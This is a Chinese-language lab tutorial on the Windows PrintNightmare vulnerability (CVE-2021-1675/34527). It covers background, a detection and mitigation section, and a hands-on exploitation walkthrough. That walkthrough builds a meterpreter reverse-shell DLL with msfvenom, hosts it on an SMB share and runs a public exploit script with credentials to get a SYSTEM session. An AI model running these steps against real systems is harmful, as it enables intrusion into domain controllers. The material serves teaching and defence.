Introduction

这个房间将从进攻和防御的角度来讨论 Printnightmare 漏洞。

根据 Microsoft 的说法,“当 Windows Print Spooler 服务不正确地执行特权文件操作时,就会存在远程代码执行漏洞。成功利用此漏洞的攻击者可以使用 SYSTEM 权限运行任意代码。攻击者随后可以安装程序;查看、更改或删除程序 数据;或创建具有完全用户权限的新帐户”。

学习目标:在这个房间中,您将了解 PrintNightmare 漏洞是什么,以及如何利用和缓解该漏洞。 您还将学习使用 Windows 事件日志和 Wireshark 的检测机制。

结果:因此,您将准备好保护您的组织免受任何潜在的 PrintNightmare 攻击。

学习先决条件:在加入此房间之前,您应该熟悉 Wireshark、Windows 事件日志、Linux 基础知识和 Meterpreter。

Windows Print Spooler Service

Microsoft 将打印后台处理程序服务 定义为在每个计算机系统上运行的服务 。 正如您可以从名称中猜出的那样,打印后台处理程序服务管理打印过程。 打印假脱机程序的职责是管理打印作业、接收要打印的文件、对它们进行排队和调度。

您只需导航到 Windows 系统上的“服务”即可启动/停止/暂停/恢复打印后台处理程序服务。

服务

img

后台打印程序属性(服务)

img

打印后台处理程序服务确保为发送打印作业的计算机提供足够的资源。 还记得早期用户必须等待打印作业完成才能执行其他操作吗? 好吧,打印后台处理程序服务为我们解决了这个问题。

打印后台处理程序服务允许系统充当打印客户端、管理客户端或打印服务器。 还需要注意的是,默认情况下,所有 Windows 客户端和服务器中都会启用打印后台处理程序服务。 计算机上必须有打印后台处理程序服务才能连接到打印机。 打印机制造商提供了一些第三方软件和驱动程序,它们不需要您启用打印后台处理程序服务。 尽管如此,大多数公司还是更喜欢使用打印后台处理程序服务。

域控制器主要使用打印后台处理程序服务进行打印机修剪(删除网络上不再使用的打印机并已作为对象添加到 Active Directory 的过程)。 打印机修剪消除了用户使用不存在的打印机的问题。 您很快就会知道我们为什么提到域控制器。

Remote Code Execution Vulnerability

为了更好地了解 PrintNightmare 漏洞(或任何漏洞),您应该养成通过阅读有关任何 Windows 特定 CVE 的 Microsoft 文章或浏览 Internet 查找社区和供应商博客文章来研究漏洞的习惯。

如果 CVE-2021-1675 和 CVE-2021-34527 彼此相关,则会出现一些混淆。 它们具有相同的名称:Windows Print Spooler 远程代码执行漏洞,并且都与 Print Spooler 有关。

正如 Microsoft 在常见问题解答中所述,PrintNightmare (CVE-2021-34527) 漏洞“与 分配了 CVE-2021-1675 的漏洞。 攻击向量也不同。”

微软所说的攻击媒介是什么意思? 为了回答这个问题,让我们看看这两个漏洞之间的差异并附上事件时间表。

根据 Microsoft 的定义,PrintNightmare 漏洞是“当 Windows Print Spooler 服务不正确执行特权文件时存在的远程代码执行漏洞” 成功利用此漏洞的攻击者可以使用系统权限运行任意代码,然后可以安装程序、查看、更改或删除数据;或者创建具有完全用户权限的新帐户。

运行任意代码涉及在受害者的计算机上执行攻击者选择和偏好的任何命令。
假设您有机会查看 Microsoft 上的两个 CVE。 您会注意到两者的攻击向量不同。

要利用 CVE-2021-1675 漏洞,攻击者需要对计算机具有直接或本地访问权限,才能使用恶意 DLL 文件来提升权限。 要成功利用CVE-2021-34527漏洞,攻击者可以远程注入恶意DLL文件。

CVE-2021-1675 的漏洞指标:

img

CVE-2021-34527 的漏洞指标:

img

时间线:

2021 年 6 月 8 日:Microsoft 发布了针对打印后台处理程序服务中的权限提升漏洞的补丁 (CVE-2021-1675)。

2021年6月21日:微软修改了该漏洞,并将其分类更改为远程代码执行(RCE)。

2021 年 6 月 27 日:中国网络安全公司 QiAnXin 发布了一段视频 演示本地权限升级 (LPE) 和 RCE。

2021 年 7 月 2 日:Microsoft 在打印后台处理程序服务中分配了一个新的 CVE,即所谓的 PrintNightmare 漏洞 (CVE-2021-34527)。

2021 年 7 月 6 日:Microsoft 发布了一个带外补丁(在正常发布时间以外的某个时间发布的补丁)来解决 CVE-2021-34527,并提供了额外的解决方法来防御该漏洞。

是什么让 PrintNightmare 变得危险?

它可以通过网络被利用; 攻击者不需要直接访问机器。
概念验证已在互联网上公开。
后台打印程序服务在域控制器和具有系统权限的计算机上通过 DEFAULT 启用。

Try it yourself!

按照下面列出的步骤,通过攻击箱利用 PrintNightmare 漏洞来利用域控制器。

在下面的示例终端输出中,受害者是“10.10.237.131”,攻击者是“192.168.0.100”。

在继续之前,请在桌面上创建 2 个目录:

  • pn - 这将包含漏洞利用。
  • share - 此目录 (/root/Desktop/share) 将包含使用 msfvenom 创建的恶意 DLL。

下载 CVE-2021-1675.py

从 GitHub 克隆 CVE-2021-1675 漏洞

root@attackbox:~/Desktop/pn# git clone https://github.com/tryhackme/CVE-2021-1675.git 
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 173, done.
remote: Counting objects: 100% (173/173), done.
remote: Compressing objects: 100% (105/105), done.
remote: Total 173 (delta 62), reused 133 (delta 36), pack-reused 0
Receiving objects: 100% (173/173), 1.45 MiB | 452.00 KiB/s, done.
Resolving deltas: 100% (62/62), done.

在启动 Metasploit 之前,创建恶意 DLL。

注意:在下面的终端输出中,攻击者是“192.168.0.100”。 您需要将“192.168.0.100”替换为您的攻击盒 IP(或 OpenVPN IP)。

您将使用 msfvenom 创建恶意 DLL。

使用 Msfvenom 创建恶意 DLL

root@attackbox:~/Desktop/pn# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f dll -o ~/Desktop/share/malicious.dll 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
Saved as: /root/Desktop/share/malicious.dll

如果运行此命令时看到类似的输出,则应该已成功创建 DLL。

让我们启动 Metasploit。

启动 Metasploit

root@attackbox:~/Desktop/pn# msfconsole 
=[ metasploit v5.0.101-dev ]
+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: To save all commands executed since start up to a file, use the makerc command

msf5 >

一旦 Metasploit 成功加载,您需要配置处理程序以接收来自恶意 DLL 的传入连接。

运行以下命令选项:

  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • set lhost VALUE
  • set lport VALUE

注意LHOSTLPORT 的值必须与您用于创建恶意 DLL 的值相同。

配置 Metasploit 监听器

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.100
lhost => 192.168.0.100 msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) >

接下来,运行它,以便它将主动等待连接。

启动侦听器以接受传入连接

msf5 exploit(multi/handler) > run -j 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP on 192.168.0.100:4444

“-j”只是意味着将其作为作业运行。

检查 Metasploit 作业状态

msf5 exploit(multi/handler) > jobs

Jobs
====

Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.0.100:4444

msf5 exploit(multi/handler) >

太好了,现在您需要将恶意 DLL 托管在攻击者机器上运行的 SMB 共享中。 我们将在此示例中使用 AttackBox

以下是如何使用 Impacket 中的 smbserver.py 执行此操作。

使用 Impacket 启动 SMB 共享以托管恶意 DLL

root@attackbox:~/Desktop/pn# smbserver.py share /root/Desktop/share/ -smb2support 
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

对上图中命令的简单解释:

  1. 这是用于执行漏洞利用的 SMB 共享的名称。 (示例:\ATTACKER_IP\share\malicious.dll
  2. 这是存储恶意DLL的本地文件夹。 (示例:**/root/Desktop/share/malicious.dll**)

在我们盲目地对目标执行漏洞利用之前,我们首先检查目标是否符合利用它的标准。

检查目标是否容易受到此漏洞的攻击

root@attackbox:~/Desktop/pn# rpcdump.py @10.10.237.131 | egrep 'MS-RPRN|MS-PAR' 
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

是的,看起来不错。 终于到了运行漏洞利用的时候了。 导航到从 GitHub 下载漏洞利用代码的位置,该位置应为“/root/Desktop/pn/CVE-2021-1675”。

我们将使用 Python 脚本利用针对 Windows 2019 域控制器的 PrintNightmare 漏洞。

利用代码语法

root@attackbox:~/Desktop/pn/CVE-2021-1675# python3.9 CVE-2021-1675.py Finance-01.THMdepartment.local/sjohnston:mindheartbeauty76@10.10.237.131 '\\192.168.0.100\share\malicious.dll'

对上图中命令的简单解释:

  • python3.9 CVE-2021-1675.py -> 您正在指示 Python 运行以下 Python 脚本。 下面的值是脚本成功利用 PrintNightmare 漏洞所需的参数。
  • Finance-01.THMdepartment.local -> 域控制器的名称 (Finance-01) 以及域的名称 (THMdepartment.local)
  • sjohnston:mindheartbeauty76@10.10.237.131 -> 低权限 Windows 用户帐户的用户名和密码。
  • \ATTACKER_IP_ADDRESS\share\malicious.dll -> 存储恶意 DLL 的 SMB 路径的位置。

如果一切顺利,您应该会看到类似于下图的输出。

运行漏洞利用程序

root@attackbox:~/Desktop/pn/CVE-2021-1675# python3.9 CVE-2021-1675.py Finance-01.THMdepartment.local/sjohnston:mindheartbeauty76@10.10.237.131 '\\192.168.0.100\share\malicious.dll'
[*] Connecting to ncacn_np:10.10.237.131[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\192.168.0.100\share\malicious.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
[*] Stage0: 0

Try 3… 之后,您可能会看到 Python 错误,但可以放心地忽略它们。

On the attacker box, you should see the SMB connection calling for the malicious DLL file.

受害者连接到恶意 DLL 的 SMB 共享

root@attackbox:~/Desktop/pn# ...
[*] Incoming connection (10.10.237.131,55037)
[*] AUTHENTICATE_MESSAGE (\,FINANCE-01)
[*] User FINANCE-01\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:share)
[*] Closing down connection (10.10.210.90,55037)
[*] Remaining connections []

最后,您将获得一次成功的 Meterpreter 会话。

收到传入连接

msf5 exploit(multi/handler) > [*] Sending stage (201283 bytes) to 10.10.237.131 [*] Meterpreter session 1 opened (192.168.0.100:4444 -> 10.10.237.131:55038) at 2021-08-17 17:56:31 +0100

Indicators of Compromise

让我们想象一下最坏的情况,即 THM 部门在 PrintNightmare 的 PoC 发布几天后遭到入侵,而您是 THM 部门的威胁猎人。 您的公司怀疑攻击者使用 PrintNightmare 访问域控制器,您的任务是找到妥协的证据或迹象。 那么,下一个问题是您应该寻找哪些指标来检测 PrintNightmare 攻击?

攻击者很可能使用 rpcdump.py 扫描易受攻击的主机。 找到存在漏洞的打印服务器后,攻击者可以执行漏洞利用代码(类似于上一个任务中的Python脚本),该代码将加载恶意DLL文件以利用该漏洞。 更具体地说,利用代码将从经过身份验证的用户帐户调用 pcAddPrinterDriverEx() 函数并加载恶意 DLL 文件以利用该漏洞。 pcAddPrinterDriverEx() 函数用于在系统上安装打印机驱动程序。

Sygnia 分享了一些检测 PrintNightmare 的高级威胁搜寻技巧。 在寻找 PrintNightmare 时,您应该寻找以下内容:

 搜索 spoolsv.exe 进程,将 rundll32.exe 作为子进程启动,无需任何命令行参数
 考虑到 pcAddPrinterDriverEx() 函数的使用,您通常会发现恶意 DLL 被放入以下文件夹之一:%WINDIR%\system32\spool\drivers\x64\3\ 文件夹以及随后从 %WINDIR%\ 加载的 DLL。 system32\spool\drivers\x64\3\Old\ (您应该主动监视文件夹中是否有任何异常 DLL)
 寻找可疑的 spoolsv.exe 子进程(cmd.exe、powershell.exe 等)
 攻击者甚至可能使用 Mimikatz 来执行攻击,在这种情况下,将创建一个名为“QMS 810”的打印驱动程序。 这可以通过记录注册表更改(例如 Sysmon ID 13)来检测。
 搜索属于公开的概念验证代码一部分的 DLL,例如 MyExploit.dll、evil.dll、addCube.dll、rev.dll、rev2.dll、main64.dll、mimilib.dll。 如果它们存在于端点上,您可以在 Microsoft-Windows-PrintService 中通过事件 ID 808 找到它们。

Splunk 还出色地为我们提供了一些检测搜索查询:

识别添加新打印机驱动程序的打印后台处理程序:

source="WinEventLog:Microsoft-Windows-PrintService/Operational" 
EventCode=316 category = "Adding a printer driver" Message = "*kernelbase.dll,*" Message = "*UNIDRV.DLL,*" Message = "*.DLL.*"
| stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message

检测 spoolsv.exe 及其子进程 rundll32.exe:

| tstats count min(_time) as firstTime max(_time) as lastTime from 
datamodel=Endpoint.Processes where
Processes.parent_process_name=spoolsv.exe
Processes.process_name=rundll32.exe by Processes.dest Processes.user
Processes.parent_process Processes.process_name Processes.process
Processes.process_id Processes.parent_process_id

没有任何命令行参数的可疑 rundll32.exe 实例:

| tstats count FROM datamodel=Endpoint.Processes where 
Processes.process_name=spoolsv.exe by _time Processes.process_id Processes.process_name Processes.dest
| rename "Processes.*" as *
| join process_guid _time
[| tstats count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where
Filesystem.file_path="*\\spool\\drivers\\x64\\*" Filesystem.file_name="*.dll" by _time
Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path
| rename "Filesystem.*" as *
| fields _time dest file_create_time file_name file_path process_name process_path process]
| dedup file_create_time
| table dest file_create_time, file_name, file_path, process_name

检测新打印机插件加载失败的情况:

source="WinEventLog:Microsoft-Windows-PrintService/Admin" ((ErrorCode="0x45A" (EventCode="808" OR EventCode="4909")) 
OR ("The print spooler failed to load a plug-in module" OR "\\drivers\\x64\\"))
| stats count min(_time) as firstTime max(_time) as lastTime by OpCode EventCode ComputerName Message

如果您有兴趣学习Splunk,可以参考以下房间:

Detection: Windows Event Logs

Windows 事件日志是 Windows 操作系统创建的安全、系统和应用程序通知的详细记录。 有一些日志记录与后台打印程序活动相关的事件。 不过,默认情况下它们可能不会启用,需要使用 Windows 组策略或 Powershell 进行配置。

Print Spooler 活动相关的日志是:

  • Microsoft-Windows-PrintService/Admin
  • Microsoft-Windows-PrintService/Operational

我们可以通过查看上述端点事件或 Windows 事件日志来检测 PrintNightmare 工件。

您可以查找以下事件 ID

  • Microsoft-Windows-PrintService/Operational (事件 ID 316) - 查找 “已添加或更新 Windows x64 版本 3 的打印机驱动程序 [文件]。文件:- UNIDRV .DLL、AddUser.dll、AddUser.dll 无需用户操作。”
  • Microsoft-Windows-PrintService/Admin(事件 ID 808) - 安全事件源已尝试注册(可以检测 spoolsv.exe 加载的未签名驱动程序和恶意 DLL)
  • Microsoft-Windows-PrintService/Operational(事件 ID 811) - 记录有关失败操作的信息。 该事件将提供有关删除的 DLL 的完整路径的信息。
  • Microsoft-Windows-SMBClient/Security(事件 ID 31017) - 此事件 ID 还可用于检测 spoolsv.exe 加载的未签名驱动程序。
  • Windows 系统(事件 ID 7031) - 服务停止操作(此事件 ID 将显示打印后台处理程序服务意外终止)。

您还可以使用Sysmon来检测PrintNightmare恐怖:

  • Microsoft-Windows-Sysmon/Operational(事件 ID 3) - 网络连接(查找可疑端口)

  • Microsoft-Windows-Sysmon/Operational (Event ID 11) - FileCreate(正在记录文件创建事件,您可以在打印后台处理程序的驱动程序目录中查找加载的 DLL:C :\Windows\System32\spool\drivers\x64\3)

  • Microsoft-Windows-Sysmon/Operational (Event IDs 23, 26) - FileDelete(您可以寻找已删除的恶意 DLL)

您仍在寻找 THMDepartment 以确定 PrintNightmare 攻击是否确实发生过。

掌握了上述所有知识,您可以检测事件日志中的 PrintNightmare 工件吗?

Detection: Packet Analysis

数据包捕获 (pcap) 在检测妥协迹象方面发挥着至关重要的作用。

如果您不熟悉 Wireshark,不用担心。 您可以加入 Wireshark 101 房间,了解有关 Wireshark 以及如何分析数据包捕获的更多信息。 这会很有趣!

通过分析网络流量来检测 PrintNightmare 攻击,特别是针对(CVE-2021-1675 和 CVE-2021-34527)攻击,并不像检查受害者计算机上的 Windows 事件日志等工件那么容易。 攻击者依赖使用 DCE/RPC 命令 RpcAddPrinterDriverRpcAddPrinterDriverEx 添加打印机驱动程序。

DCE/RPC 代表分布式计算环境/远程过程调用,是建立 API 和网络协议的远程过程调用。 但是,使检测攻击变得更加困难的是 RpcAddPrinterDriverRpcAddPrinterDriverEx 命令的合法用途,因此您不能总是仅依靠网络流量分析来确信 PrintNightmare 攻击发生在您的计算机中。 环境。 根据 Corelight,它可能会变得更难检测,特别是如果漏洞将 DCE/RPC 调用包装在 [SMB3 中] 加密。 ](https://docs.microsoft.com/en-us/windows-server/storage/file-server/smb-security#:~:text=SMB 加密在不受信任的网络上提供端到端的窃听事件。&text= 可以配置 SMB 加密,其中数据穿越不受信任的网络。)要识别加密的 DCE/RPC 调用,您需要以某种方式解密和解码有效负载,这是一项耗时的任务。

Corelight 还发布了一个 Zeek 包,用于检测未加密的 DCE/RPC 命令上添加的打印机驱动程序。

此任务附带的是来自 PrintNightmare 攻击的 PCAP,您可以下载并在本地 Wireshark 实例中打开。

Mitigation: Disable Print Spooler

这不仅仅是一场噩梦,现在您可以 100% 确信这是针对 THMDepartment 的 PrintNightmare 攻击。 您检查了网络上的其他域控制器,它们似乎是干净的。

现在还不是世界末日。 您仍然可以通过禁用所有域控制器上的后台打印程序并修改注册表设置(如果适用)来减轻或防御攻击。 你怎么能这样做?

Microsoft提供了检测Print Spooler服务是否已启用以及如何禁用它们的步骤:

首先,您需要确定 Print Spooler 服务是否正在运行。

在 Windows PowerShell 中运行以下命令(以管理员身份运行):

Get-Service -Name Spooler

如果后台打印程序正在运行或该服务未设置为禁用,则选择以下选项之一以禁用后台打印程序服务或通过组策略禁用入站远程打印。

选项 1) 禁用打印后台处理程序服务:

如果禁用打印后台处理程序服务适合您的环境,请使用以下 PowerShell 命令:

Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

注意:通过禁用后台打印程序服务,您将无法进行本地和远程打印。

选项 2) 通过组策略禁用入站远程打印:

通过组策略的设置可以配置如下:

Computer Configuration / Administrative Templates / Printers

禁用“允许打印后台处理程序接受客户端连接”*策略以阻止远程攻击。

此策略将通过阻止入站远程打印操作来阻止远程攻击媒介。 系统将不再作为打印服务器运行,但到直接连接的设备的本地打印仍然可以工作。

注意:请记住,为了使组策略在整个域甚至本地计算机上生效,您需要发出“gpupdate /force”命令。

有关详细信息,请参阅:[使用组策略设置来控制打印机。](https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad -打印机)

Microsoft 于 7 月发布了适用于 Windows Server 2012、Windows Server 2016 和 Windows 10 版本 1607 的安全更新 2021 年 7 月。

除了安装 Microsoft 推荐的更新之外,还应采取其他缓解措施:

您必须确认以下注册表设置已设置为 0(零)或未定义(注意:默认情况下,下面提到的注册表项不存在,因此已处于安全设置。),还要检查您的组策略 设置正确(请参阅常见问题解答):

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint

NoWarningNoElevationOnInstall = 0 (DWORD) 或未定义(默认设置)

UpdatePromptSettings = 0 (DWORD) 或未定义(默认设置)

注意:将 NoWarningNoElevationOnInstall 设置为 1 会使您的系统在设计上容易受到攻击。